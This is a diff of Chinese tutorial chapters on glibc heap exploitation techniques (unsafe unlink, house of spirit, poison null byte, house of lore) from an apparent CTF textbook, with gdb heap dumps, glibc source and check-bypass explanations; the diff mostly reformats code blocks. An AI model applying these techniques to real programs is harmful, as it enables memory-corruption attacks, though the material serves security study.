+gef➤ x/gx chunk0_ptr +0x601058: 0x0000000000000000 gef➤ x/gx chunk0_ptr[3] -0x601058: 0x0000000000000000 +0x601058: 0x0000000000000000 ``` + 所以,修改 `chunk0_ptr[3]` 就等于修改 `chunk0_ptr`: -``` + +```text gef➤ x/5gx 0x601058 -0x601058: 0x0000000000000000 0x00007ffff7dd2540 -0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3] -0x601078: 0x0000000000000000 -gef➤ x/gx chunk0_ptr -0x7fffffffdc70: 0x4141414141414141 +0x601058: 0x0000000000000000 0x00007ffff7dd2540 +0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3] +0x601078: 0x0000000000000000 +gef➤ x/gx chunk0_ptr +0x7fffffffdc70: 0x4141414141414141 ``` 这时 `chunk0_ptr` 就指向了 victim_string,修改它: + +```text +gef➤ x/gx chunk0_ptr +0x7fffffffdc70: 0x4242424242424242 ``` -gef➤ x/gx chunk0_ptr -0x7fffffffdc70: 0x4242424242424242 -``` + 成功达成修改任意地址的成就。 最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查,以对抗单字节溢出的问题。补丁如下: + ```diff -$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c +$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 Author: DJ Delorie Date: Fri Mar 17 15:31:38 2017 -0400 Further harden glibc malloc metadata against 1-byte overflows. - + Additional check for chunk_size == next->prev->chunk_size in unlink() - + 2017-03-17 Chris Evans - + * malloc/malloc.c (unlink): Add consistency check between size and next->prev->size, to further harden against 1-byte overflows. @@ -972,7 +1055,7 @@ index e29105c372..994a23248e 100644 --- a/malloc/malloc.c +++ b/malloc/malloc.c @@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr; - + /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ + if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ @@ -981,7 +1064,9 @@ index e29105c372..994a23248e 100644 BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ ``` + 具体是这样的: + ```c /* Ptr to next physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p))) @@ -996,30 +1081,33 @@ index e29105c372..994a23248e 100644 ``` 回顾一下伪造出来的堆: -``` + +```text gef➤ x/40gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 -0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P -0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer -0x602030: 0x0000000000000000 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000000 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 0x0000000000000000 -0x602080: 0x0000000000000000 0x0000000000000000 -0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size -0x6020a0: 0x0000000000000000 0x0000000000000000 -0x6020b0: 0x0000000000000000 0x0000000000000000 -0x6020c0: 0x0000000000000000 0x0000000000000000 -0x6020d0: 0x0000000000000000 0x0000000000000000 -0x6020e0: 0x0000000000000000 0x0000000000000000 -0x6020f0: 0x0000000000000000 0x0000000000000000 -0x602100: 0x0000000000000000 0x0000000000000000 -0x602110: 0x0000000000000000 0x0000000000000000 -0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk -0x602130: 0x0000000000000000 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P +0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000000000 +0x6020c0: 0x0000000000000000 0x0000000000000000 +0x6020d0: 0x0000000000000000 0x0000000000000000 +0x6020e0: 0x0000000000000000 0x0000000000000000 +0x6020f0: 0x0000000000000000 0x0000000000000000 +0x602100: 0x0000000000000000 0x0000000000000000 +0x602110: 0x0000000000000000 0x0000000000000000 +0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk +0x602130: 0x0000000000000000 0x0000000000000000 ``` + 这里有三种办法可以绕过该检查: + - 什么都不做。 - `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0` - `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0` @@ -1031,6 +1119,7 @@ gef➤ x/40gx 0x602010-0x10 - `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80` 好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,`chunk0_ptr` 仍然指向正确的堆地址,而不是之前的 `chunk0_ptr = P = P->fd`。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样: + ```c // deal with tcache int *a[10]; @@ -1042,20 +1131,23 @@ gef➤ x/40gx 0x602010-0x10 free(a[i]); } ``` -``` -gef➤ p &chunk0_ptr + +```text +gef➤ p &chunk0_ptr $2 = (uint64_t **) 0x555555755070 gef➤ x/gx 0x555555755070 0x555555755070 : 0x00007fffffffdd0f gef➤ x/gx 0x00007fffffffdd0f 0x7fffffffdd0f: 0x4242424242424242 ``` + 现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。 加上内存检测参数重新编译,可以看到 heap-buffer-overflow: -``` -$ gcc -fsanitize=address -g unsafe_unlink.c -$ ./a.out + +```text +$ gcc -fsanitize=address -g unsafe_unlink.c +$ ./a.out The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80 The victim chunk we are going to corrupt is at 0x60c00000bec0 @@ -1076,7 +1168,8 @@ allocated by thread T0 here: #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` -#### house_of_spirit +### house_of_spirit + ```c #include #include @@ -1109,9 +1202,10 @@ int main() { b[0] = 0x4242424242424242LL; } ``` -``` -$ gcc -g house_of_spirit.c -$ ./a.out + +```text +$ gcc -g house_of_spirit.c +$ ./a.out We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. The first one: 0x7ffc782dae00 The second one: 0x7ffc782dae20 @@ -1120,21 +1214,25 @@ Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10! malloc(0x10): 0x7ffc782dae10 ``` + house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。 首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式: -``` -gef➤ x/10gx &fake_chunks -0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 -0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000 -0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 -0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 + +```text +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 +0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 gef➤ x/gx &a -0x7fffffffdca0: 0x0000000000000000 +0x7fffffffdca0: 0x0000000000000000 ``` + 伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`(即大于16),小于 `av->system_mem`(即小于128kb),才能绕过对 next chunk 大小的检查。 libc-2.23 中这些检查代码如下: + ```c void __libc_free (void *mem) @@ -1156,14 +1254,18 @@ __libc_free (void *mem) _int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用 } ``` + `mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换: + ```c /* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ)) #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) ``` + 当 `NON_MAIN_ARENA` 为零时返回 main arena: + ```c /* find the heap and corresponding arena for a given ptr */ @@ -1172,7 +1274,9 @@ __libc_free (void *mem) #define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) ``` + 这样,程序就顺利地进入了 `_int_free` 函数: + ```c static void _int_free (mstate av, mchunkptr p, int have_lock) @@ -1224,46 +1328,52 @@ _int_free (mstate av, mchunkptr p, int have_lock) } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); ``` + 其中下面的宏函数用于获得 next chunk: + ```c /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` 然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。 -``` + +```text gef➤ x/gx &a -0x7fffffffdca0: 0x00007fffffffdcc0 -gef➤ x/10gx &fake_chunks -0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed] -0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 -0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 -0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 -0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 +0x7fffffffdca0: 0x00007fffffffdcc0 +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed] +0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] -Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=) +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=) ``` 这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。 -``` -gef➤ x/10gx &fake_chunks -0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk -0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000 -0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 -0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 -0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 + +```text +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk +0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 gef➤ x/gx &b -0x7fffffffdca8: 0x00007fffffffdcc0 +0x7fffffffdca8: 0x00007fffffffdcc0 ``` + 所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。 该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。 加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk: -``` -$ gcc -fsanitize=address -g house_of_spirit.c -$ ./a.out + +```text +$ gcc -fsanitize=address -g house_of_spirit.c +$ ./a.out We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. The first one: 0x7fffa61d6c00 The second one: 0x7fffa61d6c20 @@ -1279,8 +1389,8 @@ Freeing the overwritten pointer. house-of-spirit 在 libc-2.26 下的利用可以查看章节 4.14。 - ## 参考资料 + - [how2heap](https://github.com/shellphish/how2heap) - [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/) - <> diff --git a/doc/3.1.7_heap_exploit_2.md b/doc/3.1.7_heap_exploit_2.md index bf378b1..8281ae6 100644 --- a/doc/3.1.7_heap_exploit_2.md +++ b/doc/3.1.7_heap_exploit_2.md @@ -6,11 +6,12 @@ - [overlapping_chunks](#overlapping_chunks) - [overlapping_chunks_2](#overlapping_chunks_2) - [下载文件](../src/Others/3.1.6_heap_exploit) ## how2heap -#### poison_null_byte + +### poison_null_byte + ```c #include #include @@ -34,7 +35,7 @@ int main() { uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); *(size_t*)(b+0xf0) = 0x100; fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); - + // deal with tcache // int *k[10], i; // for (i = 0; i < 7; i++) { @@ -81,9 +82,10 @@ int main() { fprintf(stderr, "New b2 content:%s\n", b2); } ``` -``` -$ gcc -g poison_null_byte.c -$ ./a.out + +```text +$ gcc -g poison_null_byte.c +$ ./a.out We allocate 0x10 bytes for 'a': 0xabb010 'real' size of 'a': 0x18 b: 0xabb030 @@ -106,12 +108,14 @@ Finally, we allocate 'd', overlapping 'b2': 0xabb030 b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` + 该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。 对于单字节溢出的利用有下面几种: + - 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出 -``` +```text 0x100 0x100 0x80 |-------|-------|-------| | A | B | C | 初始状态 @@ -127,7 +131,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出 -``` +```text 0x100 0x100 0x80 |-------|-------|-------| | A | B | C | 初始状态 @@ -143,7 +147,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块 -``` +```text 0x100 0x210 0x80 |-------|---------------|-------| | A | B | C | 初始状态 @@ -155,7 +159,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x100 0x80 |-------|------|-----|--|-------| | A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8) -|-------|------|-----|--|-------| +|-------|------|-----|--|-------| | A | B1 | B2 | | C | 释放 B1 |-------|------|-----|--|-------| | A | B1 | B2 | | C | 释放 C,C 将与 B1 合并 @@ -167,7 +171,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠 -``` +```text 0x100 0x100 0x101 |-------|-------|-------| | A | B | C | 初始状态 @@ -186,6 +190,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。 首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下: + ```c /* ------------------------- malloc_usable_size ------------------------- @@ -207,6 +212,7 @@ musable (void *mem) return 0; } ``` + ```c /* check for mmap()'ed chunk */ #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) @@ -216,10 +222,12 @@ musable (void *mem) /* Get size, ignoring use bits */ #define chunksize(p) ((p)->size & ~(SIZE_BITS)) ``` + 所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。 为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下: -``` + +```text gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 @@ -242,14 +250,15 @@ gef➤ x/42gx a-0x10 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603020, bk=0x603020 → Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE) ``` 最关键的一步,通过溢出漏洞覆写 chunk b 的数据: -``` + +```text gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 @@ -272,19 +281,22 @@ gef➤ x/42gx a-0x10 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603020, bk=0x603020 → Chunk(addr=0x603030, size=0x100, flags=) ``` + 这时,根据我们上一篇文字中讲到的计算方法: + - `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100` - `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100` 可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。 接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户: -``` + +```text gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 @@ -307,15 +319,17 @@ gef➤ x/42gx a-0x10 0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` + 这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。 接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。 -``` + +```text gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 @@ -338,12 +352,14 @@ gef➤ x/42gx a-0x10 0x603120: 0x0000000000000020 0x0000000000000000 0x603130: 0x0000000000000110 0x0000000000000090 0x603140: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` + chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk: + ```c /* consolidate backward */ if (!prev_inuse(p)) { @@ -376,7 +392,8 @@ chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后 ``` 接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。 -``` + +```text gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 @@ -399,19 +416,21 @@ gef➤ x/42gx a-0x10 0x603120: 0x0000000000000020 0x0000000000000000 0x603130: 0x0000000000000110 0x0000000000000090 0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk -gef➤ heap bins small +gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[1]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` + 还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。 最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。 heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。 -``` + +```text $ gcc -fsanitize=address -g poison_null_byte.c -$ ./a.out +$ ./a.out We allocate 0x10 bytes for 'a': 0x60200000eff0 'real' size of 'a': 0x10 b: 0x611000009f00 @@ -430,7 +449,8 @@ allocated by thread T0 here: #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` -#### house_of_lore +### house_of_lore + ```c #include #include @@ -480,9 +500,10 @@ int main() { memcpy((p4+40), &sc, 8); } ``` -``` -$ gcc -g house_of_lore.c -$ ./a.out + +```text +$ gcc -g house_of_lore.c +$ ./a.out Allocated the victim (small) chunk: 0x1b2e010 stack_buffer_1: 0x7ffe5c570350 stack_buffer_2: 0x7ffe5c570330 @@ -502,10 +523,12 @@ The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8 Nice jump d00d ``` + 在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。 首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了: -``` + +```text gef➤ x/26gx victim-2 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x603010: 0x4141414141414141 0x4141414141414141 @@ -527,7 +550,9 @@ gef➤ x/10gx &stack_buffer_2 0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 ``` + molloc 中对于 small bin 链表的检查是这样的: + ```c [...] @@ -545,10 +570,12 @@ molloc 中对于 small bin 链表的检查是这样的: [...] ``` + 即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。 接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部: -``` + +```text gef➤ x/26gx victim-2 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] 0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer @@ -563,22 +590,24 @@ gef➤ x/26gx victim-2 0x6030a0: 0x4141414141414141 0x4141414141414141 0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk 0x6030c0: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603000, bk=0x603000 → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) ``` 这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins: -``` -gef➤ heap bins small + +```text +gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[8]: fw=0x603000, bk=0x603000 → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) ``` 接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin: -``` + +```text gef➤ x/26gx victim-2 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] 0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1 @@ -600,20 +629,25 @@ gef➤ x/10gx &stack_buffer_2 0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 ``` + 我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的: -``` + +```text HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL fd: -> bk: <- ``` + fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。 接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样: -``` + +```text HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL ``` -``` + +```text gef➤ x/26gx victim-2 0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3 0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 @@ -634,16 +668,19 @@ gef➤ x/10gx &stack_buffer_2 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] 